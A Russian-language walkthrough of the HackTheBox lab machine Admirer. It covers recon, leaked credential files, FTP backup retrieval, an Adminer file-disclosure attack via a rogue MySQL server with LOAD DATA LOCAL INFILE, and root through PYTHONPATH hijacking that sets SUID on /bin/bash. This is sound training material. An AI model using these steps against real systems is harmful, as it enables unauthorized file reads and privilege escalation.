Обзор сервисов
Машине присвоен IP-адрес 10.10.10.187
, мы же начнем со стандартной разведки с помощью nmap
(для простоты воспользуемся скриптом nmapAutomator
):
$ nmapAutomator.sh -H 10.10.10.187 -t Full
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Получаем немного нестандартный набор портов для Linux-машин на HackTheBox - у нас есть дополнительно FTP.
Веб-сервис
В выводе nmapAutomator
видим файл robots.txt
, запрещающий индексирование /admin-dir
.
User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
Запустим feroxbuster
, чтобы поискать файлы в этом каталоге.
$ feroxbuster -u http://10.10.10.187/admin-dir/ -w /usr/share/dirb/wordlists/big.txt -x php,txt
200 11l 13w 136c http://10.10.10.187/admin-dir/credentials.txt
200 29l 39w 350c http://10.10.10.187/admin-dir/contacts.txt
Посмотрим, что в этих файлах:
http://10.10.10.187/admin-dir/credentials.txt
:
[Internal mail account]
[email protected]
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
http://10.10.10.187/admin-dir/contacts.txt
:
##########
# admins #
##########
# Penny
Email: [email protected]
##############
# developers #
##############
# Rajesh
Email: [email protected]
# Amy
Email: [email protected]
# Leonard
Email: [email protected]
#############
# designers #
#############
# Howard
Email: [email protected]
# Bernadette
Email: [email protected]
FTP
Попробуем подключиться по FTP с кредами пользователя из предыдущего пункта.
$ ftp 10.10.10.187
ftpuser
%n?4Wz}R$tTF7
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
> get dump.sql
> get html.tar.gz
$ tar xvf html.tar.gz
Исследуем резервную копию сайта:
$ cd w4ld0s_s3cr3t_d1r
$ ls
contacts.txt credentials.txt
$ cat credentials.txt
[Bank Account]
waldo.11
Ezy]m27}OREc$
[Internal mail account]
[email protected]
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
$ cd utility-scripts/
$ ls
admin_tasks.php db_admin.php info.php phptest.php
$ cat db_admin.php
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
$ cat index.php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
Обнаруживаем, что это утилита Adminer, которая находится в Open Source.
Публичный эксплоит
Воспользуемся уязвимостью File Disclosure. Для этого необходимо сконфигурировать локальный сервер MySQL:
$ mysql -u root -p
> create database backup;
> use backup;
> CREATE USER 'backup'@'%' IDENTIFIED BY 'backup_pwd';
> grant all privileges on backup.* to 'backup'@'%';
$ sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
$ sudo systemctl restart mariadb
Переходим на http://10.10.10.187/utility-scripts/adminer.php
.
Вписываем свои креды от MySQL.
host: 10.10.14.6
db: backup
user: backup
pwd: backup_pwd
Создаем таблицу backup
с колонкой name
типа varchar(2000)
и выполняем SQL:
LOAD DATA LOCAL INFILE '../index.php'
INTO TABLE backup.backup
FIELDS TERMINATED BY "\n"
И получаем в таблице файл index.php
, в котором видим актуальные креды.
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
Переиспользуем их для подключения по SSH.
$ ssh [email protected]
&<h5b~yK3F#{PaPB&dA}{H>
Пользовательский флаг
Повышение привилегий
Сделаем стандартную проверку sudo
:
$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
У нас есть группа admin
(можем писать в /dev/
) и право переназначать переменные SETENV
.
Создадим файл /dev/shm/shutil.py
с нашим пейлоадом:
$ nano /dev/shm/shutil.py
import os
def make_archive(h, t, b):
os.system('chmod +s /bin/bash')
$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15 2017 /bin/bash
$ /bin/bash -p
bash-4.4# id
uid=1000(waldo) gid=1000(waldo) euid=0(root) egid=0(root) groups=0(root),1000(waldo),1001(admins)